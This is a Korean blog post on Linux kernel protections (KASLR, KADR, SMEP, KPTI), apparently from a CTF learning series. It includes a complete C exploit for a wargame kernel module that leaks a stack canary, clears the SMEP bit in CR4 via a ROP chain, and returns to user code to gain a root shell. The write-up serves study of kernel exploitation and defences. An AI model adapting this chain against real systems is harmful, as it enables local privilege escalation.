CIDY
[Linux Kernel] 7. Linux Kernel Protection 본문
KASLR
이건 앞서 소개한 적이 있기도 한데, aslr의 kernel ver.이고 엔트로피 비트가 작아서 브포에 취약하다고도 했었다.
https://orcinus-orca.tistory.com/244
그리고 커널 주소를 릭하는 방법도 살펴봤었는데, 워게임 문제의 경우 (아직 많은 문제를 풀어본 것은 아니지만) 뭐랄까 충분히? 합리적으로? 릭할 방법을 제공해주는 것 같으니 크게 거슬리는 보호기법은 아니다.
vmlinux에서 kaslr안 걸린 주소들을 찾은 뒤 아무 커널 주소나 릭해서 립씨 따듯이 offset계산을 하면 실제 주소를 구할 수 있다.
base주소를 구해야 한다면 .text영역과의 차이를 구하면 된다. 일반 바이너리와 동일하게 vmlinux바이너리를 대상으로 그냥 readelf하면 섹션 offset을 알 수 있다.
참고로 kaslr이 걸려있어도 kadr이 걸려있지 않다면 /proc/kallsyms를 읽어서 커널함수의 주소를 알 수 있다. 자세한건 아래 kadr에서 알아보자.
KADR
kadr은 커널 영역의 민감정보를 일반 유저에게 보여주지 않는 보호 기법이다.
/boot/vmlinuz, /boot/System.map, /sys/kernel/debug, /proc/slabinfo, /proc/kallsyms등 중요한 폴더 및 파일들을 루트 사용자만 확인할 수 있도록 해 두었다.
kaslr이 걸려 있어도 kadr이 걸려 있지 않으면 cat /proc/kallsyms > /tmp/kallsyms 등 명령어를 통해 일반 유저도 쉽게 커널 주소를 읽어올 수 있다.
kadr도 kaslr처럼 대부분 걸려 있는 모양
SMEP
이전에 ret2usr를 이용해 커널 모드에서 유저 모드의 코드를 실행하도록 하여 몇 번 익스를 해봤었다.
https://orcinus-orca.tistory.com/266
https://orcinus-orca.tistory.com/265
둘 다 ret2usr 연습하기 좋은 문제들이니 한번쯤 풀어보는 것을 추천한다.
암튼 smep는 ret2usr를 막기 위한 보호 기법이다. 아키텍쳐마다 보호 기법이 다른데, 다음과 같다.
x86: SMEP, SMAP
ARM: PXN, PAN
smep보호 기법이 적용되면 커널 모드로 유저 영역의 코드를 실행시킬 수 없게 된다.
core문제에 smep를 걸고 익스코드를 실행시켜보자.
이렇게 부트 스크립트에 smep를 추가해줄 수 있다.
이 상태에서 기존 ex 바이너리를 실행시키면 커널 패닉이 발생한다. smep가 걸려 있는 상태에서 커널 모드에서 유저 영역의 코드를 수행하려고 하였기 때문이다.
오류 내용을 자세히 보면 Code: Bad RIP value라고 되어 있고, unable to execute userspace code (SMEP?) (uid: 1000)
이라고 되어 있다.
그리고 CR{N} 이라는 레지스터들이 여러 개 보이는데, 컨트롤 레지스터이다. 컨트롤 레지스터는 프로세서의 운영 모드, 현재 실행중인 태스크의 특성을 결정하는 데 이용된다.
x86아키텍쳐를 기준으로
x86: CR0, CR1, CR2, CR3, CR4
x86-64: CR0, CR1, CR2, CR3, CR4, CR8
이렇게 이용된다.
특히 CR4레지스터는 프로세스에서 지원하는 각종 확장 기능들을 제어하는 역할을 맡고 있고, SMEP와 SMAP도 여기에 포한됨다. CR4에서 SMEP는 20번째 비트, SMAP는 21번째 비트이다.
위에서 CR4의 값은 0x1006f0이다. 이를 비트로 표현해보면 다음과 같다.
0001 0000 0000 0110 1111 0000
여기서 20번째 비트를 보면(0번부터 세어야 함) 1로 설정되어 있는 것을 볼 수 있다.
따라서 해당 비트를 off해주면 smep가 꺼지고, ret2usr를 사용할 수 있을 것이다. 0x1006f0에서 20번 비트를 off하면 0x6f0이므로 CR4를 0x6f0으로 만들면 ret2usr기법을 사용할 수 있을 것이다.
위와 같은 페이로드를 추가하여 smep를 끄도록 하였다.
#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
struct task_struct;
struct cred;
static struct cred* (*prepare_kernel_cred)(struct task_struct * daemon) = (void*)0xffffffff8109cce0;
static int (*commit_creds)(struct cred* new) = (void*)0xffffffff8109c8e0;
uint64_t prepare_kernel_cred_origin = 0xffffffff8109cce0;
uint64_t canary;
uint64_t pop_rdi = 0xffffffff81000b2f;
uint64_t mov_cr4_rdi = 0xffffffff81075014;
uint64_t dummy_stack[512] __attribute__((aligned(16)));
void shell(){
system("/bin/sh");
_exit(0);
}
void ret2usr(){
static struct trap_frame {
void* rip;
uint64_t cs;
uint64_t rflags;
void* rsp;
uint64_t ss;
} tf = {
.rip = &shell,
.cs = 0x33,
.rflags = 0x202,
.rsp = dummy_stack + 512,
.ss = 0x2b
};
volatile register uint64_t RSP asm("rsp");
commit_creds(prepare_kernel_cred(NULL));
RSP = (uint64_t)&tf;
asm volatile(
"cli\n\t"
"swapgs\n\t"
"iretq"
::"r" (RSP)
);
}
void* get_kallsyms(char *name)
{
void *addr;
char sym[512];
FILE* fp = fopen("/tmp/kallsyms", "r");
while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0)
{
if(strcmp(sym, name) == 0) break;
else addr = NULL;
}
fclose(fp);
return addr;
}
int main(){
char buf[0x100] = {0};
char payload[0x100] = {0};
int fd = open("/proc/core", O_WRONLY);
if(ioctl(fd, 0x6677889C, 0x40)){
printf("[-] SET OFF ERROR\n\n");
_exit(0);
}
if(ioctl(fd, 0x6677889B, buf)){
printf("[-] READ ERROR\n\n");
_exit(0);
}
canary = *((uint64_t*)(buf));
printf("[+] CANARY : %#llx\n", (unsigned long long)canary);
prepare_kernel_cred = get_kallsyms("prepare_kernel_cred");
commit_creds = get_kallsyms("commit_creds");
uint64_t offset = (uint64_t)prepare_kernel_cred - prepare_kernel_cred_origin;
pop_rdi += offset;
mov_cr4_rdi += offset;
printf("[+] PREPARE_KERNEL_CRED : %#llx\n", (unsigned long long)prepare_kernel_cred);
printf("[+] COMMIT_CREDS : %#llx\n", (unsigned long long)commit_creds);
memset(payload, 'A', 0x40);
*((uint64_t*)(payload + 0x40)) = canary;
memset(payload + 0x48, 'A', 0x8);
*((uint64_t*)(payload + 0x50)) = pop_rdi;
*((uint64_t*)(payload + 0x58)) = 0x6f0;
*((uint64_t*)(payload + 0x60)) = mov_cr4_rdi;
*((uint64_t*)(payload + 0x68)) = (uint64_t)&ret2usr;
if(write(fd, payload, 0x70) <= 0){
printf("[-] WRITE ERROR\n\n");
_exit(0);
}
if(ioctl(fd, 0x6677889A, 0x8000000000000070)){
printf("[-] COPY ERROR\n\n");
_exit(0);
}
}
최종 익스 코드 vmlinux 바이너리에서 가젯을 구하고 오프셋을 계산하였다.
루트쉘 획득!
참고로 이렇게 smep을 우회하는 방법도 kpti라는 보호 기법이 걸려 있으면 사용할 수 없게 된다.
KPTI
KPTI는 Kernel Page-Table Isolation이라는 커널 보호 기법이다.
왼쪽은 KPTI를 적용하지 않았을 때, 오른쪽은 적용했을 때의 메모리 상태이다. 왼쪽의 경우 유저 모드의 프로세스에도 커널 공간과 유저 공간의 주소가 모두 매핑되는 것을 볼 수 있다.
KPTI가 적용되기 전 KASLR이 먼저 적용되었었는데, KASLR을 우회하는 여러 기법들이 등장했다. 애초에 KASLR은 커널 주소를 무작위 매핑할 뿐, 좌측 그림에서 볼 수 있듯이 페이지 테이블에 매핑된 전체 커널 메모리를 유지하기 때문에 메모리를 릭할 방법은 많다고 한다.
물론 전체 커널 메모리를 유지하면 TLB플러시로 인한 오버헤드를 줄일 수 있다는 장점도 있다. 유저 모드의 경우 시스템 콜이나 context 스위칭 등 커널 모드로 진입하는 일이 잦기 때문에 꽤 큰 장점이다.
아무튼 KASLR로도 커널 보호가 충분치 않게 되자 KAISER라는 보호 기법이 등장했다. KASLR은 커널 주소 유출만을 방지하지만 KAISER는 데이터 유출도 방지하여 KASLR우회를 보완할 수 있다고 한다.
하지만 KAISER가 커버 가능한 범위보다 더 심각한 멜트다운 취약점이 발견되어 KAISER에서 발전한 KPTI가 등장하게 되었다. KPTI는 우측 User mode 이미지에서 볼 수 있듯이 User mode에서 커널 공간의 주소가 매핑되지 않게 한다.
즉 사용자 모드일때와 커널 모드일 때의 페이지 테이블을 아예 분리해버린 것인데, 반드시 필요한 인터럽트 핸들러 등을 제외한 모든 커널 공간의 매핑을 제거한 것이다.
그리고 커널 모드로 전환할 일이 있으면 페이지 테이블 자체를 커널 모드의 것으로 전환하고, 유저 모드로 돌아올 때에도 마찬가지이다.
REF
https://en.wikipedia.org/wiki/Kernel_page-table_isolation
'Hack > Kernel' 카테고리의 다른 글
[Linux Kernel] 6. ret2usr (0) | 2023.07.26 |
---|---|
[Linux Kernel] 5. Kernel Leak (0) | 2023.07.25 |
[Linux Kernel] 4. prepare & commit (1) | 2023.07.25 |
[Linux Kernel] 3. KASLR (0) | 2023.07.25 |
[Linux Kernel] 2. Kernel Debugging (0) | 2023.07.25 |